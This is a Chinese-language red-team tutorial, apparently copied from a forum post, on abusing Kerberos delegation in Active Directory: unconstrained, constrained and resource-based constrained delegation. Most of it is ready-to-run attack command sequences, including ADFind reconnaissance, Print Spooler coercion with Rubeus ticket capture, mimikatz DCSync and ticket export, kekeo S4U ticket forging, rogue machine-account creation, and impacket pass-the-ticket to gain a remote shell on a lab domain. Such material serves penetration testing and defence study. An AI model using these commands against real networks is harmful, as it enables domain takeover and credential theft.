委派攻击
域委派概念
委派是一种域内应用模式,是指将域内用户账户的权限委派给服务账号,服务账号因此能以用户的身份在域内展开活动(请求新的服务等)。
委派分类
- 非约束委派(Unconstrained Delegation, UD)
- 约束委派(Constrained Delegation, CD)
- 基于资源的约束委派(Resource Based Constrained Delegation, RBCD)
非约束委派攻击
服务账号可以请求得到域内用户的TGT,服务账号使用该TGT模拟域内用户访问任意服务。
被配置为非约束委托的系统将把TGT(Ticket Granting Ticket)存储到LSASS内存中,以便使用户能够访问终端资源。非约束委派的设置需要SeEnableDelegation权限,一般为管理员具有此权限。
域控机器账户默认配置非约束性委派。
非约束性委派流程
- 域内用户A经过Kerberos认证后访问WEB服务器
- WEB服务器以服务账户B向KDC请求用户A的可转发票据TGT
- KDC检查B的委派属性,下发TGT
- 服务账户B使用TGT向KDC申请服务票据TGS(访问文件服务器等功能)
- KDC检查委派属性和申请的服务,下发TGS
- 服务账户使用TGS访问其他服务
1)侦察ADFind
# ADFind查询非约束委派普通账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
# ADFind查询非约束机器账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
2)结合打印机漏洞利用
强迫运行打印服务(Print Spooler)的主机向目标主机发起 Kerberos 或 NTLM 认证请求。
使用Rubeus工具监听
# 查询打印服务是否开启|域控上查看
sc query spooler
# 使用Rubeus监听来自域控的票据
Rubeus.exe monitor /interval:2 /filteruser:DC2016$
使用SpoolSample工具执行打印机漏洞利用,进行强制验证
# 强制回连,获得域控机器账户的TGT
SpoolSample.exe DC2016 WIN7域内主机
Rubeus监听到票据并导入该票据
# rubeus导入票据
Rubeus.exe ptt /ticket:<监听到的Ticket>
使用mimikatz导出Hash
# mimikatz导出域内用户Hash
mimikatz.exe "lsadump::dcsync /domain:redteam.lab /user:REDTEAM\Administrator" "exit"
然后利用此Hash可以远程登陆SMB
约束性委派攻击
约束委派通过S4U2Self和S4U2Proxy两个扩展协议限制服务账户只能访问指定服务资源。
约束委派有两种
- 仅使用Kerberos,不能进行协议转换
- 使用任何身份验证协议
S4u2self & S4U2proxy
S4U2self
协议允许服务代表任意用户请求访问自身服务的ST服务票据 S4U2proxy
协议允许服务在已取得ST服务票据下代表任意用户获取另一个服务的服务票据 约束委派限制了S4U2proxy协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务。
配置了约束性委派的账户属性会有如下两个变化:
- 账户
userAccountControl
属性会被设置为TRUSTED_TO_AUTH_FOR_DELEGATION
标志位,值为16781312
- 账户的
msDS-AllowedToDelegateTo
属性,添加允许委派的服务
1)侦察
# AdFind.exe查询约束委派机器账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
# AdFind.exe查询约束委派服务账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
2)使用机器账户的票据 | kekeo
利用条件:
- 需要Administrator权限
- 目标机器账户配置了约束性委派
使用mimikatz工具导出lsass.exe
进程中所有的票据,得到想要的服务票据
# 导出票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
使用kekeo工具申请服务票据(S4U2Proxy协议)
# 申请服务票据
kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-1-40e10000-WIN10-1$@krbtgt-REDTEAM.LAB.kirbi /user:Administrator@redteam.lab /service:cifs/DC2016.redteam.lab" "exit"
# 导入票据
mimikatz.exe "kerberos::ptt TGS_Administrator@redteam.lab@REDTEAM.LAB_cifs~DC2016.redteam.lab@REDTEAM.LAB.kirbi" "exit"
# 访问
dir \\DC2016.redteam.lab\c$
3)使用机器账户的Hash值 | kekeo
# 请求票据
kekeo.exe "tgt::ask /user:WIN10-1$ /domain:redteam.lab /NTLM:8f91f8786d308e62c609688886dc7c4c" "exit"
# 申请administrator权限的票据
kekeo.exe "tgs::s4u /tgt:TGT_WIN10-1$@REDTEAM.LAB_krbtgt~redteam.lab@REDTEAM.LAB.kirbi /user:Administrator@redteam.lab /service:cifs/DC2016.redteam.lab" "exit"
# mimikatz
mimikatz.exe "kerberos::ptt TGS_Administrator@redteam.lab@REDTEAM.LAB_cifs~DC2016.redteam.lab@REDTEAM.LAB.kirbi" "exit"
# 访问
dir \\DC2016.redteam.lab\c$
基于资源的约束性委派攻击
RBCD主要就是委派的管理移交给服务资源进行控制,其余和约束性委派基本相同。
:::deatails 配置了RBCD的账户属性变化
- msDS-AllowedToActOnBehalfOfOtherIdentity属性指向委派账户
可以将基于资源的约束性委派理解为传统的约束性委派的反向过程。以 Service 1 和 Service 2 两个服务为例,传统的约束性委派需要在 Service 1 上设置 msDS-AllowedToDelegateTo
属性,以指定对 Service 2 上的哪一个服务进行委派。而在基于资源的约束性委派中,需要在 Service 2 上将 msDS-AllowedToActOnBehalfOfOtherIdentity
属性值设为 Service 1 的 SID,以允许 Service 1 对 Service 2 上的服务进行委派。
此外,在传统的约束性委派中,通过 S4u2self 申请到的 ST 票据一定是可转发的,如果不可转发,则后续的 S4U2Proxy 阶段将失败。但是在基于资源的约束性委派中,不可转发的 ST 票据仍然可以通过 S4U2Proxy 阶段对其他服务进行委派认证。
:::
已知Acount Operators组用户拿下主机
Acount Operators组用户可以获得域内除域控的所有主机。
Acount Operators组成员可以修改域内任意主机的msDS-AllowedToActOnBehalfOfOtherIdentity
属性
利用条件
- 获取到属于Acount Operators组的用户账户
- 可以创建机器账户
1)查询Acount Operators组成员
adfind.exe -h 10.10.2.20:389 -s subtree -b CN="Account Operators",CN=Builtin,DC=redteam,DC=lab member
2)创建机器账户
# 使用bloodyAD.py创建机器账户
python3 bloodyAD.py -d redteam.lab -u mark -p '123.com' --host 10.10.2.20 addComputer CPT02 'Passw0rd'
3)设置委派属性
# 使用PowerView工具查询机器账户SID
powerpick Get-NetComputer CPT02 -Properties objectsid
S-1-5-21-3309395417-4108617856-2168433834-1112
# 修改服务资源msDS-AllowedToActOnBehalfOfOtherIdentity属性
powerpick $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3309395417-4108617856-2168433834-1112)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WIN7-1 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
# 查询属性(后一条命令使用到了ActiveDirectory模块,域控默认带)
powerpick Get-DomainComputer WIN7-1 -Properties msds-allowedtoactonbehalfofotheridentity
# 创建服务票据
python3 getST.py redteam.lab/CPT02$:Passw0rd -spn cifs/WIN7-1.redteam.lab -impersonate administrator -dc-ip 10.10.2.20
# 导入票据
export KRB5CCNAME=/root/Desktop/administrator.ccache
# 直接登录
python3 wmiexec.py -k redteam.lab/administrator@WIN7-1.redteam.lab -no-pass
注意
本文内容全部复制自 https://forum.butian.net/share/1591。
原作者xigua师傅写的很好,我这直接复制过来备忘了(师傅写的其他文章也很好推荐去看看)。